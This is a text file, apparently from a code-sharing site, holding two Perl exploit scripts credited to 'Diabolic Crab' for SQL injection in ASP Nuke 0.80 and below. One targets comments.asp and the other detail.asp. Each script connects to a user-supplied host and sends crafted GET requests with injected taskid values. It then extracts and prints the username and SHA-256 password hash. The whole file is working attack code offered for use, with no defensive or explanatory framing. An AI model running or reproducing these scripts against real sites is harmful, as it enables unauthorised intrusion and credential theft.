uke comments.asp and detail.asp remote sql injection exploit.txt

来自「一些可以实现益出的程序」· 文本 代码 · 共 106 行

#!/usr/bin/perl

use IO::Socket;
use Getopt::Std;
print "[x]ASP NUKE 0.80 and below Comments.asp Sql Injection Exploit\n";
print "[x]By Diabolic Crab\n";
print "[x]http://www.digitalparadox.org\n\n";

getopt("h:p:");

$opt_p ||= 80;

if(!$opt_h) {
die("[x] Usage: $0 -h <host> [-p <port>]\n");
}

$sqlpass = "/module/support/task/comments.asp?taskid=Password-- HTTP/1.0\n";
$sqllogin = "/module/support/task/comments.asp?taskid=Username-- HTTP/1.0\n";

print "[x] Host: $opt_h\n";
print "[x] Port: $opt_p\n";

$Q1 = "GET $sqllogin";
$Q1 .= "Host: ".$opt_h."\n\n";

$Q2 = "GET $sqlpass";
$Q2 .= "Host: ".$opt_h."\n\n";

$s = IO::Socket::INET->new(Proto => 'tcp', PeerAddr => $opt_h, PeerPort => $opt_p) 
or die("Can't connect!");
$s->send($Q1);
$s->recv($usr, 1024);

$s = IO::Socket::INET->new(Proto=>'tcp', PeerAddr => $opt_h, PeerPort => $opt_p) 
or die("Can't connect!");
$s->send($Q2);
$s->recv($pass, 1024);

$s = index($usr,"'");
$e = index($usr,"'", $s + 1);
$f = $e - $s - 1;
print "[x]Username is: ";
print substr($usr, $s + 1, $f);
print "\n";

$s = index($pass,"'");
$e = index($pass,"'", $s + 1);
$f = $e - $s - 1;
print "[x]Password hash in SHA 256 is: ";
print substr($pass, $s + 1, $f);
print "\n";

----------------------------------------------------------------------------------------------------

#!/usr/bin/perl

use IO::Socket;
use Getopt::Std;
print "[x]ASP NUKE 0.80 and below Details.asp Sql Injection Exploit\n";
print "[x]By Diabolic Crab\n";
print "[x]http://www.digitalparadox.org\n\n";

getopt("h:p:");

$opt_p ||= 80;

if(!$opt_h) {
die("[x] Usage: $0 -h <host> [-p <port>]\n");
}

$sqlpass = "/module/support/task/detail.asp?taskid=Password-- HTTP/1.0\n";
$sqllogin = "/module/support/task/detail.asp?taskid=Username-- HTTP/1.0\n";

print "[x] Host: $opt_h\n";
print "[x] Port: $opt_p\n";

$Q1 = "GET $sqllogin";
$Q1 .= "Host: ".$opt_h."\n\n";

$Q2 = "GET $sqlpass";
$Q2 .= "Host: ".$opt_h."\n\n";

$s = IO::Socket::INET->new(Proto => 'tcp', PeerAddr => $opt_h, PeerPort => $opt_p) 
or die("Can't connect!");
$s->send($Q1);
$s->recv($usr, 1024);

$s = IO::Socket::INET->new(Proto=>'tcp', PeerAddr => $opt_h, PeerPort => $opt_p) 
or die("Can't connect!");
$s->send($Q2);
$s->recv($pass, 1024);

$s = index($usr,"'");
$e = index($usr,"'", $s + 1);
$f = $e - $s - 1;
print "[x]Username is: ";
print substr($usr, $s + 1, $f);
print "\n";

$s = index($pass,"'");
$e = index($pass,"'", $s + 1);
$f = $e - $s - 1;
print "[x]Password hash in SHA 256 is: ";
print substr($pass, $s + 1, $f);
print "\n";